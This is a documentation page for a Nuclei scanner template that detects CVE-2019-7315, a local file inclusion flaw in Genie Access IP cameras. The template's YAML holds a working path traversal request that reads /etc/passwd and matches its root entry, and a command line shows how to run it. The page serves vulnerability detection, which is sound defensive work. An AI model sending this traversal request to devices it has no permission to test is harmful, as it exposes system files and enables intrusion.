Skip to content
Nuclei Templates

Genie Access WIP3BVAF IP Camera - Local File Inclusion

ID: CVE-2019-7315

Severity: high

Author: 0x_Akoko

Tags: cve,cve2019,camera,genie,lfi,iot,genieaccess

Description

Section titled “Description”

Genie Access WIP3BVAF WISH IP 3MP IR Auto Focus Bullet Camera devices through 3.X are vulnerable to local file inclusion via the web interface, as demonstrated by reading /etc/shadow.

YAML Source

Section titled “YAML Source”
id: CVE-2019-7315


info:
  name: Genie Access WIP3BVAF IP Camera - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Genie Access WIP3BVAF WISH IP 3MP IR Auto Focus Bullet Camera devices through 3.X are vulnerable to local file inclusion via the web interface, as demonstrated by reading /etc/shadow.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the system.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the local file inclusion vulnerability.
  reference:
    - https://labs.nettitude.com/blog/cve-2019-7315-genie-access-wip3bvaf-ip-camera-directory-traversal/
    - https://vuldb.com/?id.136593
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7315
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-7315
    cwe-id: CWE-22
    epss-score: 0.0143
    epss-percentile: 0.86533
    cpe: cpe:2.3:h:genieaccess:wip3bvaf:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: genieaccess
    product: wip3bvaf
  tags: cve,cve2019,camera,genie,lfi,iot,genieaccess


http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 490a0046304402205cb4901887e71d2be1a591a4690add77b8e3774330c8307a48f4888f9b26bffb02204ce189daa00ad50fd49e63d6f10f6476886cb70d6e074616712ba9e0a342e3a4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-7315.yaml"

View on Github